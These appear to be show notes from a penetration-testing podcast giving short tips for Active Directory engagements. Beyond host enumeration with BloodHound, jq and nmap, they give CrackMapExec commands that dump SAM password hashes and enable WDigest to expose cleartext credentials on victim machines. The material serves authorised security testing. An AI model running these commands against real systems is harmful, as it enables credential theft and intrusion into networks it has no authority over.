In today's episode we share some tips we've picked up in the last few weeks of pentesting, with hopes it will save you from at least a few rounds of smashing your face into the keyboard. Tips include:
- If you find yourself with "owns" rights to a bajillion hosts in BloodHound, this query will give you a nice list of those systems, one system per line:
cat export-from-bloodhound.json | jq '.nodes.label' | tr -d '"'
Then you can scan with nmap to find the "live" hosts:
nmap -sn -iL targets.txt

If you have RBCD admin access to victim systems, don't forget that CrackMapExec support Kerberos! So you can do stuff like:
cme smb VICTIM-SYSTEM -k --sam or
cme smb VICTIM-SYSTEM -k -M wdigest -M ACTION=enable
